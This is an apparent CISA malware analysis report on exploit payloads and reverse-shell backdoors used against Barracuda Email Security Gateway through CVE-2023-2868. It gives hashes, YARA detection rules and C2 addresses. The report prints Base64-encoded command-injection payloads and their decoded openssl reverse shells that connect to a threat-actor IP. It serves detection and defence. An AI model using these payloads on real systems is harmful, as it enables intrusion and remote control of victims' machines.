ANALYSIS REPORT

10454006.r3.v1 NUMBER

Malware Analysis Report

2023-07-27 DATE

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR–Recipients may share this information without restriction. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be shared without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA obtained 14 malware samples comprised of Barracuda exploit payloads and reverse shell backdoors. The malware was used by threat actors exploiting CVE-2023-2868, a former zero-day vulnerability affecting versions 5.1.3.001-9.2.0.006 of Barracuda Email Security Gateway (ESG).

The payload triggers a command injection (exploiting CVE-2023-2868), leading to dropping and execution of reverse shells on the ESG appliance. The reverse shells establish backdoor communications via OpenSSL with threat actor command and control (C2) servers. The actors delivered this payload to the victim via a phishing email with a malicious .tar attachment.

For information about related malware, specifically information on other backdoors, see CISA Alert: CISA Releases Malware Analysis Reports on Barracuda Backdoors.

Submitted Files (14)

0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6 (1665808485-0a151737759a8a30001...)
2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b (abcdefgc2V0c2lklHNoIC1jICJta2Z...)
2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095 (1665807519-0a151737759a87f0001...)
2b2b7c5e825b7a18e13319b4a1275a0dd0086abd58b2d45939269d5a613a41e7 (abcdefgc2V0c2lklHNoIC1jICJta2Z...)
3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7 (1666612441-0a151727b565980001-...)
80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043 (1666612600-0a151727b265b10001-...)
949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788 (snapshot.tar)
9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5 (1666612304-0a151727b165810001-...)
b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321 (1666582925-0a151727b55a9c0001-...)
b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2 (1666583888-0a151727b45ada0001-...)
caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd (1665808277-0a1517307c0bbc0001-...)
cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba (1665808153-0a1517307c0bb70001-...)
f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0 (snapshot0.tar)
f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa (1666614870-0a151727b166b50001-...)

IPs (2)

107[.]148[.]219[.]54
107[.]148[.]223[.]196

Findings

2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095

Tags

backdoor trojan

Details

Name	1665807519-0a151737759a87f0001-RIRGpJ
Size	29888 bytes
Type	ASCII text
MD5	5bbdcca59916d40c178fd29a743fc9eb
SHA1	4bd4f014ceeffbe2b1e61f5d279416a80ec9eafe
SHA256	2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095
SHA512	17a07d6d3164159ace01099bdee560bd63f980d083b6a1650880b50bcfe63b9eda8b1ba7932c7527457d368005d61745a21fa4252a9e2b81ea3a9a34e4d33ea0
ssdeep	96:e1mfYp+YQicdb34VB+1jhuBj1rH4equdK3b7OKiTcGuRNdecg6dxkXBd6Uq:pW+UOb3QBkjh89H4q6fbP
Entropy	1.661629

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
```

}

ssdeep Matches

No matches found.

Relationships

2a860849a9...	Connected_To	107[.]148[.]223[.]196

Description

This file is related to the vulnerability CVE-2023-2868 in the Barracuda ESG exploit to execute a reverse shell payload on certain ESG appliances. This sample contains a Base64 encoded block that upon decoding references multiple archive files. There are multiple file references in the block, however, only one contains the exploit code in the title and can be found between two single quotes and backticks '`abcdefg=payload`' (Figure 1). This payload triggers a command injection and upon successful exploitation of the affected system the encoded commands are able to run and provide the Threat Actor (TA) with a response.

–Begin Encoded Payload–
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
–End Encoded Payload–

The encoded block above decodes to a reverse shell seen below.

–Begin Decoded Command–
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107[.]148[.]223[.]196:8080 >/tmp/p 2>/dev/null;rm /tmp/p"
–End Decoded Command–

This reverse shell starts a new session and sets it to run in the background. Then it creates the named pipe "/tmp/p" that it will use as a point to transfer the commands that will be executed.

The rest of the command is seen using OpenSSL to create a client that connects to the Command-and-Control (C2) at Internet Protocol (IP) address “107[.]148[.]223[.]196” and port number “8080.” The OpenSSL command also suppresses session and certificate output info using -quiet flag and errors are discarded for stealth in the /dev/null directory. Finally, the named pipe "tmp/p" is removed when the OpenSSL connection is closed.

Screenshots

Figure 1. - Base64 encoded block decodes to another Base64 encoded payload.

cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba

Tags

backdoor trojan

Details

Name	1665808153-0a1517307c0bb70001-RIRGpJ
Size	29887 bytes
Type	ASCII text
MD5	1424d7cf2515f97e21bbd9c94d187dab
SHA1	f7df6eb42ce9979babbd9fb1373bbf260dcfe4e5
SHA256	cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba
SHA512	febc0f0bee4b8a4209a7768cf2285550b571506f9d56ffbdf5a262f81d4e28df38e8e78691f05ee408ef464715e213602860332e638d28e0976e56a8fc587662
ssdeep	96:i1mJ5p+Yuicd4344D+7jhugE1rH4equdK3b7OKiTcGuRNdecg6dxkXBd6UH:7j+yO435DOjhu9H4q6fbC
Entropy	1.661365

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

- rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10454006"
      Date = "2023-07-05"

```
        Last_Modified = "20230712_1400"
        Actor = "n/a"
        Family = "n/a"
        Capabilities = "accesses-remote-machines communicates-with-c2"
        Malware_Type = "trojan backdoor remote-access-trojan"
        Tool_Type = "unknown"
        Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
        SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
        SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
        SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
        SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
        SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
        SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
        SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
        SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
        SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
        SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
    strings:
        $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
        $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
        $s3 = { 54 44 4e 53 64 47 4e 44 4f }
        $s4 = { 5a 45 63 78 64 }
        $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
        $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
        $s7 = { 4c 6e 52 34 64 41 }
    condition:
        5 of them
}
```

ssdeep Matches

No matches found.

Relationships

cf0996a3ae...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095.”

---

caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd

Tags

backdoor trojan

Details

Name	1665808277-0a1517307c0bbc0001-RIRGpJ
Size	29887 bytes
Type	ASCII text
MD5	bd238e645c350329b0a42264dc6fdea7
SHA1	f61238d4bbe1927e827ffd03457c1d60b1ce6350
SHA256	caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd
SHA512	fc298c3cee79f2d965d8464746dea4259209bd5f7bb4ee2825e92ca1fad2b65c9b02d93406da8de1c7f2e3e0a08b2a430f95b0b55e009f2ff71e0f4fa6305f52
ssdeep	96:71mv1p+YQicdcs45k+Ujhu0w1rH4equdK3b7OKiTcGuRNdecg6dxkXBd6Ujn:6X+0OcsQkNjhe9H4q6fb2
Entropy	1.662428

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
}
```

ssdeep Matches

No matches found.

Relationships

caa795c4c9...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095.”

0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6

Tags

backdoor trojan

Details

Name	1665808485-0a151737759a8a30001-RIRGpJ

Size	29888 bytes
Type	ASCII text
MD5	3e01f48ab1bfae888b2c580dbc6c5962
SHA1	6f7d8d31d1d0c53d71495176aa4ab23756bbba24
SHA256	0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6
SHA512	ea5b2437c99c766050fddc2cad00b3d863ceae41d7d0be2b67ded74b146800de2ef7261d003d1bb341a8cff4ddd789f2c615daa423d9ab2a7f04b3a1d353d2eb
ssdeep	96:+1mAlp+Y/icd7s42dB+1jhPBD1rH4equdK3b7OKiTcGuRNdecg6dxkXBd6Ua:em+ZO7sfBkjh79H4q6fbf
Entropy	1.662592

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
}
```

ssdeep Matches

No matches found.

Relationships

0b917d945a...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095.”

b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321

Tags

backdoor trojan

Details

Name	1666582925-0a151727b55a9c0001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	db1215b51c86aa12564dd5b825e81e43
SHA1	a3b9b846467973038b1232f2c2189c02023b1dd8
SHA256	b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321
SHA512	4b0be07290895cfae3e29d7675c83ee48e0f3eedab6be55db5d426799cbc25905eecfba92664bf3137c610cfca74826e2c2ec813ca6ff7c23c5584258219b478
ssdeep	96:LRKtqi+YiFOiclLs42dB+1jhtVP1rHNqudK3b7OKiTcGuRNdecg6dxkXBd6U2:Ny+xFJYLsfBkjhJLH4q6fbD
Entropy	1.661150

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
```

condition:
5 of them
}

ssdeep Matches

No matches found.

Relationships

b5113e29ec...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains a payload that exploits CVE-2023-2868. The exploit payload is a shell script code with an embedded Base64 encoded reverse shell. Upon execution the malware Base64 decodes and executes the reverse shell code. The reverse shell establishes connections using the "OpenSSL" to the C2 IP "107[.]148[.]223[.]196" and port “443” and redirects the standard input and output to the named pipe at "/tmp/p" and then removes "/tmp/p" after the connection is closed.

–Begin Encoded Payload–
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29u
bmVjdCAxMDcuMTQ4LjIyMy4xOTY6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3RtcC9wIg==;ee=ba;G=s;"ech"o
$abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
–End Encoded Payload–

–Begin Decoded Payload–
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107[.]148[.]223[.]196:443 >/tmp/p 2>/dev/null;rm
/tmp/p"
–End Decoded Payload–

---

b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2

Tags

backdoor trojan

Details

Name	1666583888-0a151727b45ada0001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	c479667bd581845d1e295becc1d4859f
SHA1	a982111f1463e90a46a62da4fb8e47bbf4db025e
SHA256	b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2
SHA512	834fbf3c821a27588d6c7b46c56296505bdb9e34880e7c3c234c7fa3f9ee46c115d632d413f13278b9de792b5bd8e87ab561ad50bd8a25d43dbafa9b22b8bc30
ssdeep	96:GhKWqi+YDeiclHs42B+1jhtNzfH1rHNqudK3b7OKiTcGuRNdecg6dxkXBd6UG:Et+I5YHs7BkjhPLdLH4q6fbT
Entropy	1.661755

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

- rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
  {
  meta:
  Author = "CISA Code & Media Analysis"
  Incident = "10454006"
  Date = "2023-07-05"
  Last_Modified = "20230712_1400"
  Actor = "n/a"
  Family = "n/a"

```
        Capabilities = "accesses-remote-machines communicates-with-c2"
        Malware_Type = "trojan backdoor remote-access-trojan"
        Tool_Type = "unknown"
        Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
        SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
        SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
        SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
        SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
        SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
        SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
        SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
        SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
        SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
        SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
    strings:
        $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
        $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
        $s3 = { 54 44 4e 53 64 47 4e 44 4f }
        $s4 = { 5a 45 63 78 64 }
        $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
        $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
        $s7 = { 4c 6e 52 34 64 41 }
    condition:
        5 of them
}
```

ssdeep Matches

No matches found.

Relationships

b52a9844d8...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321.”

9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5

Tags

backdoor trojan

Details

Name	1666612304-0a151727b165810001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	33d16ab60d262191f4a251e31a5d1940
SHA1	15e3a9a643ebc5fc8e240b2617ce9720e4c16aa2
SHA256	9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5
SHA512	feab76baea3e0701dd025b140cde25c1b7516ca9bca49ee8e3728b5d787e8a25ef456b094594f9fc30b89c64b776ab5120617ee4f2012d74f6327dff09f0c14f
ssdeep	96:q1Djqi+Yziclds42dB+1jhXIM1rHNqudK3b7OKiTcGuRNdecg6dxkXBd6UP:oj+VYdsfBkjhRLH4q6fbK
Entropy	1.660671

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
}
```

ssdeep Matches

No matches found.

Relationships

9d0c7a45dd...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321.”

3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7

Tags

backdoor trojan

Details

Name	1666612441-0a151727b565980001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	84603aa2f1d30f6b137a6b9300f2adcc

SHA1	ab9942e172733ec3265dd93e0033e2ace77905c1
SHA256	3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7
SHA512	96499176dc81f64f3ab0daf7319bd1dc54301ccaada75d37a8377584f6044774e103361f207f6f204e62f251ae41e639f923c25cf2feee5b2557d10908bb54c5
ssdeep	96:vm1soERqi+YhiclRs42dB+1jhXtH1rHNqudK3b7OKiTcGuRNdecg6dxkXBd6U+:+Eh+7YRsfBkjh7LH4q6fbL
Entropy	1.660213

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
